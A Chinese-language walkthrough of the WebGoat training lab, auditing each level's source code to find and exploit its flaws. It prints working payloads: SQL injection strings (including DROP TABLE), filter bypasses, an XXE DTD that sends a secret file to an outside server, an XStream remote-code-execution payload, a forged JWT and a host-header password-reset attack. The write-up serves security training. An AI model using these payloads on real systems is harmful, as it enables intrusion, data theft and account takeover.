【代码审计】WebGoat靶场全关卡审计教程
- 2026-09-22 09:09:52
以审计的角度走遍全关卡
目录
(A1) Broken Access Control(访问控制失效) 1.1 会话劫持 1.2 不安全的直接对象引用 1.3 缺失功能级访问控制 1.4 伪装认证Cookie (A2) Cryptographic Failures(加密失败) (A3) Injection(注入) 3.1 SQL注入(介绍) 3.2 SQL注入(高级) 3.3 SQL注入(缓解措施) 3.4 跨站脚本 3.5 跨站脚本(存储) 3.6 跨站脚本(缓解措施) 3.7 路径穿越 (A5) Security Misconfiguration(安全配置错误) 4.1 跨站请求伪造 4.2 XXE (A6) Vuln & Outdated Components(易受攻击的组件) 5.1 易受攻击的组件 (A7) Identity & Auth Failure(身份认证失败) 6.1 认证绕过 6.2 不安全的登录 6.3 JWT tokens 6.4 密码重置 6.5 安全密码 (A8) Software & Data Integrity(软件和数据完整性故障) 7.1 不安全反序列化 (A9) Security Logging Failures(安全日志故障) 8.1 日志安全 (A10) Server-side Request Forgery(服务器端请求伪造) 9.1 服务器端请求伪造 Client side(客户端安全) 10.1 绕过前端限制 10.2 客户端过滤 10.3 HTML 篡改 Challenges(挑战关卡) 11.1 管理员丢失密码 11.2 无密码 11.3 管理员密码重置 11.4 没有账户 本文涉及的所有代码和文件
(A1) 一、Broken Access Control(访问控制失效)
1.1 会话劫持
第一关,定位请求接口。

定位代码位置。
分析处理逻辑,我们这里的目的是通过劫持已登录用户的会话,所以我们当前是没有登录状态的。
重点在于代码:
authentication = provider.authenticate(Authentication.builder().id(cookieValue).build());//认证通过就过关if (authentication.isAuthenticated()) {return success(this).build();}Authentication.builder().id(cookieValue).build()中cookieValue未认证用户不存在hijack_cookie,因此该代码创建了一个Authentication实例并未初始化任何值。定位类HijackSessionAuthenticationProvider的authenticate方法。
重点分析如下代码即可。
private Queue<String> sessions = new LinkedList<>(); private static long id = new Random().nextLong() & Long.MAX_VALUE; protected static final int MAX_SESSIONS = 50; private static final DoublePredicate PROBABILITY_DOUBLE_PREDICATE = pr -> pr < 0.75; private static final Supplier<String> GENERATE_SESSION_ID = () -> ++id + "-" + Instant.now().toEpochMilli(); public static final Supplier<Authentication> AUTHENTICATION_SUPPLIER = () -> Authentication.builder().id(GENERATE_SESSION_ID.get()).build(); protected void authorizedUserAutoLogin() {if (!PROBABILITY_DOUBLE_PREDICATE.test(ThreadLocalRandom.current().nextDouble())) { Authentication authentication = AUTHENTICATION_SUPPLIER.get(); authentication.setAuthenticated(true); addSession(authentication.getId()); } }
因此我们构造一个脚本,每次发送一个请求后遍历该请求附件的几个id以命中有效会话,为了避免本文过长,本文涉及的脚本内容文末一起奉上,结果如下。

1.2 不安全的直接对象引用
第一关,输入tom和cat直接过。
第二关,题目说列出服务器响应中存在但在配置文件中未显示的两个属性。
对比一看代码中多了userId和role,提交过关。
第三关,定位接口,检索代码。
拼接请求路径即可,但是你会发现需要userId,还记得第二关的userId吗?在burp构造请求获取即可。
拼接WebGoat/IDOR/profile/2342384通过。
第四关,存在两个问题,分别解决。
题目让我们查看别人的资料,这里从代码可知,这个别人应该就是2342388,当然如果作为黑盒测试您一定会枚举对吧。
第二小题让我们编辑其他用户的配置文件,这往往涉及到不同的请求方法,定位接口。
同时你会发现你检索IDOR/profile/{userId}似乎没有什么有用的信息,不过题目要求你修改别人的信息这个userId此时应该是一个具体的值,会不会就是2342388呢?让我们检索一下。
好吧,你很聪明,你发现了它,让我们构造对应的请求完成题目。当然请注意Content-Type: application/json的设置,不要被这小错误而困扰。
1.3 缺失功能级访问控制
第一关,题目让我们找一些隐藏的东西,不过我们不管直接,整代码(狗头)。


Jerry账户的哈希值。




Jerry的hash是如何生成的。
Jerry的User信息,然后使用User信息和盐值构造DisplayUser对象,盐值如下。
hash值由用户名、密码、自定义盐值拿到。目前我们已经拥有了用户名和盐值,但是从代码中无法拿到密码,因此自己直接通过代码生成该hash不可取。




Jerry的hash,注意你创建的管理员的账号必须和你当前登录的账号名称一致,否则你无法利用该会话。

1.4 伪装认证Cookie
定位请求接口,检索代码,分析逻辑。



依照代码算法,我们可以得到如下示例,其中xxx代表随机字符串,只要开头以tom开头即可,这是由代码decoded.substring(0, decoded.length() - SALT.length())得出。同时根据代码private static final String SALT = RandomStringUtils.randomAlphabetic(10);得出随机字符串长度为10。
tomxxxxxxxxxx->xxxxxxxxxxmot->787878787878787878786d6f74->Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg2ZDZmNzQ=则tom的cookievalue值应该为Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg2ZDZmNzQ=。

二、(A2) Cryptographic Failures(加密失败)
第一关,base64解码 c2hpeXVlOnBhc3N3b3Jk解码得到shiyue:password过关。 第二关,定位接口,检索代码。



第三关,定位接口,分析代码。



同时secret变量来自于如下代码。
public static final String[] SECRETS = {"secret", "admin", "password", "123456", "passw0rd"};因此题目中的hash均来自于这个列表,手动试一试即可。

第二关,根据给定的私钥计算公钥的模数和模数的签名。


这里似乎没什么可直接得到的,老老实实计算。
┌──(shiyue㉿kali)-[~/Desktop]└─$ openssl rsa -in private.pem -modulus -noout | sed 's/Modulus=//'83C3385487173B1516A983E7A0EA715850B111798316C243F24FC0E7B95581885A0EF119AD61C2628BAD20E52B8BC0424CDB4D7AB76B557C5710322420191A91643149125C8F494B7177B01BD9AD46A2C727D7FCF0FF13E8AE2501D44FCA9F43EBB8B413B6425BC872A5C31F7833EAAB1F65FD0E25771481CE797D5343854F9C20FC7F30D132BA09A2D80812E7716407FA50823694FF0491CDAEBFA99FBAF72F2AB729FDE3A6A812E1A5E26DDE2FDD1137F2FCB1DA0D4C60FAC3327DF81DBB53CAD662DF46CCEE4299DFCCE3D17A2D59DAD75636A325743F00DD7B04F615F1209AF1A3F64689FD4F2486ED51BEE494B11D1A55A91AB6CAF619957DE653A1A0BF┌──(shiyue㉿kali)-[~/Desktop]└─$ openssl rsa -in private.pem -modulus -noout | sed 's/Modulus=//' | tr -d '\n' | openssl dgst -sha256 -sign private.pem | base64 -w 0S9hg/iHaqg206/iH3RG/PeLHBVI5/nUkOWJAYwl2CKCfVogrV3sGJo07Fs6ewMoalM/tNR1otK+Nwp7ntWm0zCXBOQUZvYADRxwC4ubdNNSYmXyWOgN/qfn58eKRhvBdkp6vLq9jNpI1Rd8aj7NEV9C6MOAH+X9OFUJ3zO9GBQNZfzV4RXAuzkebNAlQfMKx9jLuZQMtGeT60BIF6TDrUTbGCSCLZbcoVooxHsHWHsn82OrtxIR7NOJrCmGYUXLQCnsnBlbhLWGnHrZr0NFvAjn0kyWu1+DUhso8T6gY80DpvG/8ytGSAPEf1Kl06z5c0rqPMRiolvkTK0ZBOJBerw== 
第三关,定位接口,并检索代码。



解码text提交结果。

三、(A3) Injection(注入)
3.1 SQL注入(介绍)
第一关,定位接口,分析代码。



第二关,定位接口,分析代码发现主要更新Barnett的部门为Sales即可过关。



第三关,定位接口,分析代码发现如果员工表中存在phone这一列则过关,所以添加一列即可。



第四关,定位接口,分析代码发现需要给unauthorized_user用户授予grant_rights 表的查询权限。



第五关,定位接口,分析代码发现直接拼接用户输入的sql语句,当用户输入的查询结果超过6行时通关。



第六关,定位接口,分析代码发现虽然login_count用了PreparedStatement(安全),但accountName没有用?占位符,而是直接拼进去,所以仍然是注入点。



第七关,定位接口,分析代码发现直接拼接sql语句导致注入。



第八关,定位接口,分析代码发现存在sql注入,并且只需要将John Smith的薪水设置的比当前最高薪资还高时即可过关,参考语句3SL99A'; UPDATE employees SET salary=84700 WHERE last_name='Smith'; --



第九关,定位接口,分析代码发现存在sql注入,需要使得查询结果为空的同时删除access_log表即可通关,参考语句'; DROP TABLE access_log; --。



3.2 SQL注入(高级)
第一关,定位接口,分析代码。



既然代码要求输出包含指定内容output.toString().contains("dave") && output.toString().contains("passW0rD")那么我们直接输入。

正规途径还是通过sql注入获取指定内容,虽然代码检测了union但是并未作为黑名单拒绝,仅仅只是构建了消息内容,因此我们完全可以通过联合查询获取指定的内容以通关。

构建联合查询通过该关卡-1' UNION SELECT userid, user_name, password, cookie, NULL, NULL, NULL FROM user_system_data -- 。

自然你也能从联合查询获取的内容得到密码过关。

第二关,定位接口,分析代码。

直接在代码文件中找到tom的密码,取巧过关。


老老实实分析下代码。

我们发现登录接口写法合规不存在sql注入漏洞,切换注册接口。


通过代码分析,注册接口在检查注册的用户名是否已经存在时存在sql注入漏洞,因此我们通过该漏洞获取tom的密码,同时这是一个经典的布尔盲注。


这里就不手动注入了,直接使用sqlmap获取结果,命令python sqlmap.py -r 1.txt --dbms=HSQLDB --technique=B --string="already exists" --sql-query="SELECT password FROM sql_challenge_users WHERE userid='tom'"结果如下。

3.3 SQL注入(缓解措施)
第一关,题目这里是希望你编写正确的参数化查询方式,但是我们直接定位接口,分析代码过关。



第二关,定位接口,分析代码发现题目让我们提交一段包含数据库操作的预编译代码,只要编译通过即可过关。



这一步你可以借助ai完成代码。

第三关,搜索路由不存在,代码中不存在该接口。


直接检索参数userid_sql_only_input_validation定位真实的接口,这里可能是靶场前端编写有误。


通过分析代码可知,唯一的过滤式不能存在空格,输入语句Smith';SELECT/**/*/**/from/**/user_system_data;--通关,当然修改下接口地址。

第四关,前端依旧那个接口地址。

通过参数检索定位后端处理接口。

简单的过滤双写即可绕过,输入语句Smith';SELselectECT/**/*/**/frfromom/**/user_system_data;--,不过依然需要修改下接口地址。

第五关,定位接口,检索代码,发现提交接口不存在注入风险。


分析排序接口。


检索分析代码发现存在order by的sql注入。

针对order by注入,我们这里使用case when的方式进行布尔盲注获取id地址,给出语句(CASE+WHEN+(SUBSTRING((SELECT+ip+FROM+servers+WHERE+hostname='webgoat-prd'),1,1)='1')+THEN+id+ELSE+hostname+END)。

当然我们也可以投机取巧直接搜索代码拿到。

3.4 跨站脚本
第一关,定位接口,分析代码发现filed1存在xss回显,并且需要命中指定的标签才可通关。



第二关,定位接口,分析代码构造start.mvc#test输入过关。



第三关,定位接口,分析代码需要提交会话中randValue的值才能过关,根据注释提示,访问指定接口获取该值。




3.5 跨站脚本(存储)
第一关,定位接口,分析代码,发现还是需要拿到会话中randValue的值才能通过。


通过分析其他接口发现存在存储型xss。


通过存储型xss调用webgoat.customjs.phoneHome()即可拿到该值。

3.6 跨站脚本(缓解措施)
第一关,定位接口,分析代码,发现需要构建特定的html文档内容才能通过。



第二关,定位接口,分析代码,依旧是需要构造特定安全代码文本才能通过。



3.7 路径穿越
第一关,定位接口,分析代码发现服务端将文件内容保存到指定位置,但是未过滤路径名导致存在目录穿越的风险。



第二关,定位接口分析代码发现,将../替换为空,因此双写即可绕过。



第三关,定位接口,分析代码发现使用图片的filename作为文件保存位置且未做任何检查导致存在路径穿越的风险。



第四关,定位接口,分析代码发现用户当前登录用户的sha512即可过关。



第五关,定位接口,分析代码,未检测压缩包中项目的名称导致目录穿越。




四、(A5) Security Misconfiguration(安全配置错误)
4.1 跨站请求伪造
第一关,定位接口,分析代码发现只要修改referer或者删除都可以拿到flag。






第二关,定位接口,分析代码发现删除referer即可过关。



第三关,定位接口,分析代码发现需要先获得flag才能过关,需要提交评论并且content-type包含text/plain,referer为空才能过关。






第四关,定位接口,分析代码,发现需要当前用户名称以csrf开头才能过关,但是当前用户是shiyue,如何做了?只需要先注册一个csrf-shiyue的账户,然后在保持当前页面不动的前提下登录新账户,由于登录了新账户已经切换了会话,因此当你再次点击原来的按钮时将以csrf-shiyue的会话过关。用户以为操作的是自己的账户,但是殊不知当前的会话已经悄悄切换为攻击者的账户,攻击者将能够实时监控用户的操作。



4.2 XXE
第一关,定位接口,分析代码,发现只需要输入包含指定目录路径即可过关。



第二关,定位接口,分析代码发现,需要构造特定的xml文档格式才能过关。




第三关,定位接口,分析代码发现需要使用xxe外带用户秘密才能通过。


构造dtd,注意特殊字符导致的问题,开启一个服务器。
<!ENTITY % file SYSTEM "file:///C:/Users/31435/.webgoat-2025.3/XXE/shiyue/secret.txt"><!ENTITY % all "<!ENTITY % send SYSTEM 'http://10.161.73.89:8001/?%file;'>">%all;%send;构建burp请求出发xxe外带。



五、(A6) Vuln & Outdated Components(易受攻击的组件)
5.1 易受攻击的组件
第一关,题目提醒使用docker构建才能成功过关,但是我这里采用的jar执行的方式,所以正常来说题目环境无法执行,但我们添加一些参数避免使用docker。
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/java.util.concurrent=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/java.beans=ALL-UNNAMED -jar webgoat-2025.3.jar --server.address=0.0.0.0好了,环境没问题让我们定位接口,分析代码。


根据代码逻辑发现这个漏洞的核心可以利用XStream对动态代理的反序列化机制,配合java.beans.EventHandler作为方法调用拦截器,将一次看似无害的接口方法调用getFirstName()重定向到系统命令执行ProcessBuilder.start()。在XML反序列化阶段,<contact class='dynamic-proxy'>指示XStream创建一个实现了Contact接口的动态代理对象。<handler class='java.beans.EventHandler'> 及其内部的<target>、<command>、标签则完整地构建了一个EventHandler实例,其中target是一个封装了恶意命令的ProcessBuilder对象,action指定了要调用的方法名"start"。当服务器代码随后调用contact.getFirstName()时,该调用被代理拦截并转发为ProcessBuilder.start()的执行,从而导致远程代码执行,并因代理对象并非ContactImpl实例而成功绕过类型检查,达成通关条件,构造payload如下。
<contact class='dynamic-proxy'><interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface><handler class='java.beans.EventHandler'><target class='java.lang.ProcessBuilder'><command><string>calc.exe</string></command></target>start</handler></contact>即可通关。


六、(A7) Identity & Auth Failure(身份认证失败)
6.1 认证绕过
第一关,定位接口,分析代码。



我们发现想要通关,只能使得请求不包含secQuestion0和secQuestion1即可。

6.2 不安全的登录
第一关,定位接口分析代码,发现硬编码账户密码。



6.3 JWT tokens
第一关,定位接口分析代码,发现硬编码账户。



第二关,定位接口分析代码,发现只需要删除jwt第三段,并设置admin为true即可过关。



第三关,定位接口,分析题目给的代码,重新构造指定用户的jwt即可过关。



第四关,定位接口,分析代码可知,未使用parseClaimJws函数存在签名严重缺陷,同时只需要将jwt中body部分的user修改为Tom即可过关。



第五关,定位接口,分析代码发现可以自己指定jku让服务器使用自己的公钥来进行jwt效验,因此自己制作一个jwt以及jwks.json文件即可过关,生成脚本文末一起提供。



第六关,定位接口,分析代码,发现通过数据库查询kid获取对应的公钥,并且存在sql注入,因此只需要通过sql注入使得返回攻击者指定的公钥即可,参考jwt如下。
eyJhbGciOiJIUzI1NiIsImtpZCI6Ii0xJyBVTklPTiBTRUxFQ1QgJ2MyVmpjbVYwJyBGUk9NIElORk9STUFUSU9OX1NDSEVNQS5TWVNURU1fVVNFUlMgLS0gIiwidHlwIjoiSldUIn0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE3NzU5MTI3NTUsImV4cCI6MTc3NTkxNjM1NSwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.jyNXyj7j9yzgPAHblRH5u0QC9I0F5dcBTcFAu-G7wHI


6.4 密码重置
第一关,定位接口,分析代码,发现密码就是用户名的镜像。



第二关,定位接口,分析代码,发现代码中硬编码着用户安全问题的答案。



第三关,定位接口,分析代码,发现需要通过host注入使得服务端将tom的密码重置链接发送到攻击者的服务器,然后攻击者通过手动重置tom的密码即可过关。




此处建议使用127.0.0.1以及curl工具来访问以避免环境错误,使用如下命令发送tom的重置链接。
curl -v -X POST "http://127.0.0.1:8080/WebGoat/PasswordReset/ForgotPassword/create-password-reset-link" -H "Host: 127.0.0.1:9090" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=BDC47880BB22F9FDD08947CB057CC3C4" -d "email=tom@webgoat-cloud.org"此时将接受到get 请求记录拿到重置地址。




6.5 安全密码
第一关,定位接口,分析代码,输入强密码即可过关。



七、(A8) Software & Data Integrity(软件和数据完整性故障)
7.1 不安全反序列化
第一关,定位接口,分析代码,发现需要构造一个VulnerableTaskHolder的序列化对象使得服务器延迟3-7描述之前即可过关,VulnerableTaskHolder对象既可以从源代码中获取也可以从题目中获得。




八、(A9) Security Logging Failures(安全日志故障)
8.1 日志安全
第一关,定位接口,分析代码发现构造特定的用户名称即可过关。



第二关,定位接口,分析代码发现服务器的应用日志泄露了密码。




九、(A10) Server-side Request Forgery(服务器端请求伪造)
9.1 服务器端请求伪造
第一关,定位接口,分析代码发现,将url指向jerry的图片将过关。



第二关,定位接口,分析代码发现,将url指向http://ifconfig.pro即可过关。



十、Client side(客户端安全)
10.1 绕过前端限制
第一关,定位接口,分析代码,发现当前端提交的参数完全不匹配时过关。


抓包修改往往是最直接的,对吧。

修改为任意值,或者直接置空都可以。
第二关,定位接口,分析代码,发现只要所有的正则都不匹配即可过关。



10.2 客户端过滤
第一关,定位接口,分析代码,发现输入450000即可过关。


但是如何正常获得该数值了?分析前端。

前端可以选择多个用户的信息,但是没有目标所需,我们定位js代码,进一步分析。



第二关,定位接口,分析代码,发现输入get_it_for_free即可过关。


但是如何得到该值了?分析前端代码。

分析js代码发现,存在通过折扣码获取折扣的请求接口,当每次输入折扣码时会自动发起该接口的请求。

定位服务端该接口,分析代码发现通过接口/WebGoat/clientSideFiltering/challenge-store/coupons可以获取所有的折扣码,包括过关的折扣码。



10.3 HTML 篡改
第一关,定位接口,分析代码发现修改总价为0过关。



十一、Challenges(挑战关卡)
11.1 管理员丢失密码
第一关,定位接口,分析代码,发现管理员用户的密码由指定模板加四位动态的PINCODE组成,同时PINCODE藏在logo的指定位置,因此通过构造脚本获取密码进而获取flag,本文涉及的脚本均放置在文章末尾。






11.2 无密码
第一关,定位接口,分析代码发现用户名和密码均直接拼接存在sql注入,但是用户名被指定无法修改,因此考虑针对密码字段进行sql注入。




11.3 管理员密码重置
第一关,定位接口,分析代码发现服务端根据用户提交的邮箱名称构建密码重置链接,并将重置链接通过用户名对应的邮箱发送,我们无法将管理员的密码重置链接发送到我们的邮箱,host头注入在这里无效。


当通过代码分析,发现存在.git泄露,因此获取该文件,并检查文件内容,成功获得密码重置链接的uuid获取方式。



这里直接使用ai基于Python复现该算法,脚本文章末尾一起奉上。

密码重置地址参考使用自己用户名收到的邮件中的地址,拼接管理员uuid访问即可获取flag。


11.4 没有账户
第一关,定位接口。


获取到服务端的接口地址后,分析代码,发现只要不以GET请求访问即可获得flag。




十二、本文涉及的所有代码和文件
公众号回复webgoat即可获取。
ok到此为止,我们完成了整个webgoat靶场的审计教程,真是一场“酣畅淋漓”的战斗呢,有缘下次再见。